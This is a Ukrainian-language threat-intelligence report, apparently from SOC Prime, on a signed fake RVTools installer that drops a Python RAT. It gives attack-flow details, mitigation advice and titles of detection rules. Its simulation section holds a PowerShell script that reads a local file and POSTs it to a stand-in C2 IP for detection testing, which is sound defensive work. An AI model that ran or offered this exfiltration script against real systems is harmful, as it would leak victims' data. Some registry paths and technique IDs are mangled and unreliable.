SOC Prime Bias: Середній

29 May 2026 07:20 UTC

RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT

Author Photo
SOC Prime Team linkedin icon Стежити
RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Зловмисний MSI інсталятор, підписаний дійсним сертифікатом, видає себе за утиліту RVTools, яка використовується адміністраторами VMware. Після запуску інсталятор залишає VBScript, який запускає PowerShell для завантаження великого архіву ZIP з Dropbox. Цей архів містить портативне середовище Python, яке запускає багаторівневий RAT, здатний проводити розвідку, забезпечувати стійкість і комунікацію з жорстко закодованими серверами команд і контролю.

Розслідування

Аналіз відcлідкував MSI до спеціальної дії VBScript, Binary.MyScript.vbs, яка декодувала заплутану команду PowerShell. Та команда завантажувала winp.zip навантеження в %APPDATA%, витягала компоненти та скрипти Python, такі як collector.py and Pmanager.py, а потім забезпечувала стійкість через ключі реєстру Run і заплановане завдання після перезавантаження. Дослідники також виявили, що RAT шифрував зібрані дані за допомогою RC4 і передавав сигнал на п’ять фіксованих IP-адрес через п’ятихвилинні інтервали.

Мітигація

Організації повинні забезпечити сувору перевірку підпису коду з активними перевірками OCSP або CRL, блокувати виконання недовірених MSI та контролювати підозрілі дії VBScript, вбудовані в інсталяторні пакети. Захисники також повинні запобігати автоматичному виконанню завантажених скриптів, слідкувати за новими записами в Run-кей і створенням запланованих завдань та реагувати на вихідний трафік до незнайомих жорстко закодованих IP адрес.

Відповідь

Якщо виявлено цю активність, негайно ізолюйте постраждалий кінцевий пристрій, зберіть MSI, файли VBScript та вилучене навантаження для криміналістичного аналізу, та видаліть всі артефакти стійкості, включаючи ключ Run і заплановане завдання. Виявлені IP адреси команд і контролю повинні бути заблоковані на брандмауері, а також потрібно провести ширший аудит облікових даних та активності в Active Directory, щоб визначити, чи була здійснена бічна перехідна атака.

"graph TB %% Класи визначень classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Фази phase_initial_access["<b>Фаза</b>: Первинний доступ<br/><b>Дія</b> – Жертва запускає підписаний зловмисний MSI, що вдає RVTools."] class phase_initial_access phase phase_execution["<b>Фаза</b>: Виконання<br/><b>Дія</b> – MSI використовує Msiexec для запуску VBScript, який завантажує прихований PowerShell завантажувач."] class phase_execution phase phase_payload["<b>Фаза</b>: Розгортання навантаження<br/><b>Дія</b> – Архів розпаковується до портативного середовища WinPython, що містить collector.py та manager.py."] class phase_payload phase phase_persistence["<b>Фаза</b>: Стійкість<br/><b>Дія</b> – Менеджер Python створює ключ запуску в реєстрі, заплановане завдання та запис Active Setup."] class phase_persistence phase phase_c2["<b>Фаза</b>: Командування та контроль<br/><b>Дія</b> – Зібрані дані архівуються, шифруються RC4 та відправляються через HTTP POST на жорстко закодовані IP-адреси."] class phase_c2 phase phase_evasion["<b>Фаза</b>: Уникнення захисту<br/><b>Дія</b> – Використання підписаних бінарних файлів, проксі-виконання і обфускація символів для обхідний виявлень."] class phase_evasion phase %% Техніки для первинного доступу tech_user_execution["<b>Техніка</b> T1204.002 Виконання користувачем: Зловмисний файл<br/>Жертва запускає зловмисний файл, який вважає легітимним."] class tech_user_execution technique tech_masquerading["<b>Техніка</b> T1036.001 Маскування<br/>Бінарний файл підписаний і названий, як легітимна утиліта (RVTools)."] class tech_masquerading technique tech_trusted_dev_proxy["<b>Техніка</b> T1127 Проксі-виконання Trusted Developer Utilities<br/>Підписаний бінарний використовують для обходу перевірок репутації."] class tech_trusted_dev_proxy technique %% Техніки для виконання tech_msiexec_proxy["<b>Техніка</b> T1218.007 Проксі-виконання системного бінарного файлу: Msiexec<br/>Msiexec викликаний для виконання зловмисного MSI."] class tech_msiexec_proxy technique tech_vbscript["<b>Техніка</b> T1059.005 Командний та скриптовий інтерпретатор: Visual Basic<br/>Спеціальна дія запускає VBScript навантаження."] class tech_vbscript technique tech_powershell["<b>Техніка</b> T1059.001 Командний та скриптовий інтерпретатор: PowerShell<br/>VBScript декодує та виконує приховану команду завантаження PowerShell."] class tech_powershell technique %% Техніки для розгортання навантаження tech_archive_custom["<b>Техніка</b> T1560.003 Архівування зібраних даних: Архівування за допомогою спеціального методу<br/>Завантажується та розпаковується 33u202fMB zip (winp.zip) для створення портативного середовища Python."] class tech_archive_custom technique %% Техніки для стійкості tech_registry_run["<b>Техніка</b> T1037.004 Сценарії ініціалізації завантаження або входу: Запуск реєстру<br/>Створюється Run key реєстру для запуску manager.py під час старту."] class tech_registry_run persistence tech_scheduled_task["<b>Техніка</b> T1053 Заплановане завдання/робота<br/>Щоденне заплановане завдання створено для запуску з правами SYSTEM."] class tech_scheduled_task persistence tech_active_setup["<b>Техніка</b> T1547.014 Автостарт виконання завантаження або входу: Active Setup<br/>Запис Active Setup додано для забезпечення виконання для кожного користувача."] class tech_active_setup persistence tech_hijack_execution["<b>Техніка</b> T1574 Викрадення потоку виконання<br/>Заплановане завдання використовується для викрадення нормальних шляхів виконання."] class tech_hijack_execution evasion %% Техніки для командування та управління tech_exfil_unencrypted["<b>Техніка</b> T1048.003 Витік через нешифрований непрямий протокол C2<br/>Дані відправляються через HTTP POST на жорстко закодовані IP-адреси."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["<b>Техніка</b> T1048.002 Витік через асиметричний зашифрований непрямий протокол C2<br/>Дані шифруються за допомогою RC4 перед відправкою."] class tech_exfil_asymmetric c2 %% Техніки для уникнення захисту tech_system_script_proxy["<b>Техніка</b> T1216.002 Виконання проксі-сценарію системи: SyncAppvPublishingServer<br/>Довірені скрипти діють як проксі для приховання зловмисної активності."] class tech_system_script_proxy evasion tech_system_binary_proxy["<b>Техніка</b> T1218 Виконання проксі системного бінарного файлу<br/>Підписані утиліти (Msiexec) зловживаються для обходу контролю застосувань."] class tech_system_binary_proxy evasion %% Артефакти artifact_msi["<b>Артефакт</b>: malicious_RVTools.msi<br/>Підписаний MSI, використаний для первинного доступу."] class artifact_msi artifact artifact_zip["<b>Артефакт</b>: winp.zip<br/>Архів, що містить портативний WinPython, розміщений на Dropbox."] class artifact_zip artifact artifact_python_env["<b>Артефакт</b>: WinPython середовище<br/>Містить collector.py та manager.py для розвідки."] class artifact_python_env artifact artifact_registry_key["<b>Артефакт</b>: Ключ запуску реєстру<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["<b>Артефакт</b>: Заплановане завдання<br/>Назва: WinPythonDaily, запускається з правами SYSTEM."] class artifact_scheduled_task artifact artifact_active_setup["<b>Артефакт</b>: Запис Active Setup<br/>HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["<b>Артефакт</b>: IP-адреси C2<br/>Жорстко закодовані IPv4-адреси, з якими контактують через HTTP."] class artifact_c2_ip artifact %% Зв’язки phase_initial_access –>|використовує| tech_user_execution phase_initial_access –>|використовує| tech_masquerading phase_initial_access –>|використовує| tech_trusted_dev_proxy phase_initial_access –>|передає| artifact_msi tech_user_execution –>|виконує| artifact_msi tech_masquerading –>|дозволяє| artifact_msi tech_trusted_dev_proxy –>|обходить| artifact_msi phase_execution –>|використовує| tech_msiexec_proxy tech_msiexec_proxy –>|запускає| tech_vbscript tech_vbscript –>|запускає| tech_powershell tech_powershell –>|завантажує| artifact_zip artifact_zip –>|розпаковується для створення| artifact_python_env phase_payload –>|містить| artifact_python_env phase_persistence –>|створює| tech_registry_run phase_persistence –>|створює| tech_scheduled_task phase_persistence –>|створює| tech_active_setup phase_persistence –>|використовує| tech_hijack_execution tech_registry_run –>|записує| artifact_registry_key tech_scheduled_task –>|створює| artifact_scheduled_task tech_active_setup –>|записує| artifact_active_setup phase_c2 –>|архівує та шифрує дані| tech_archive_custom tech_archive_custom –>|відправляє через| tech_exfil_unencrypted tech_exfil_unencrypted –>|використовує| artifact_c2_ip tech_exfil_unencrypted –>|також використовує| tech_exfil_asymmetric phase_evasion –>|застосовує| tech_system_script_proxy phase_evasion –>|застосовує| tech_system_binary_proxy tech_system_binary_proxy –>|полегшує| tech_msiexec_proxy tech_system_script_proxy –>|полегшує| tech_vbscript "

Потік атаки

Виявлення

LOLBAS WScript / CScript (через process_creation)

Команда SOC Prime
28 травня 2026

Виконання Python з підозрілих каталогів (через cmdline)

Команда SOC Prime
28 травня 2026

Можливість виконання через приховані командні рядки PowerShell (через cmdline)

Команда SOC Prime
28 травня 2026

Архів був розпакований в підозрілий каталог, використовуючи Powershell (через powershell)

Команда SOC Prime
28 травня 2026

Можливі запити DNS субдоменів API Dropbox, ініційовані не легітимними процесами (через dns_query)

Команда SOC Prime
28 травня 2026

Індикатори компрометації (HashSha256) для виявлення: Маскування RVTools: Як підписаний фальшивий інсталятор розгортає модульний Python RAT

Правила SOC Prime AI
28 травня 2026

Індикатори компрометації (HashMd5) для виявлення: Маскування RVTools: Як підписаний фальшивий інсталятор розгортає модульний Python RAT

Правила SOC Prime AI
28 травня 2026

Виявлення витоку даних через жорстко закодовані IP та HTTP POST [З’єднання мережі Windows]

Правила SOC Prime AI
28 травня 2026

Виявлення прихованого виконання зловмисного PowerShell та Invoke-WebRequest [Windows PowerShell]

Правила SOC Prime AI
28 травня 2026

Підозрілий фальшивий інсталятор RVTools, що розгортає Python RAT [Створення процесу Windows]

Правила SOC Prime AI
28 травня 2026

Симуляція виконання

Передумова: Перевірка телеметрії та базових умов перед запуском має пройти.

Мотив: У цьому розділі описується точне виконання методики противника (TTP), розробленої для запуску правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і прагнути генерувати точну телеметрію, очікувану логікою виявлення.

  • Атака:
    Супротивник, який вже знаходиться в положенні на машині жертви, вирішує ексфільтрувати невеликий обсяг даних (наприклад, C:Tempsecret.txt). Щоб не викликати загальних сповіщень вихідного трафіку, актор використовує однорядкову команду PowerShell , яка виконує HTTP POST безпосередньо до одного з жорстко закодованих IP C2 (192.0.2.10). Команду заплановано через Windows заплановане завдання , щоб забезпечити стійкість (T1546.013). Жодні додаткові бінарні файли не скидаються, зберігаючи активність «живучи з сторонніх».

  • Сценарій регресійного тестування:

    # -------------------------------------------------
    # PowerShell скрипт – Витік даних через жорсткозакодований IP
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Переконайтесь, що файл існує (створіть тестові дані для тесту)
    if (-Not (Test-Path $file)) {
        "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Читання вмісту файлу та його кодування в Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Виконання HTTP POST
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Спроба ексфільтрації відправлена на $c2Ip"
    } catch {
        Write-Error "Ексфільтрація не вдалася: $_"
    }
  • Команди очищення:

    # Видаліть тестовий файл
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Видаліть будь-яке заплановане завдання, створене для тестування (якщо існує)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }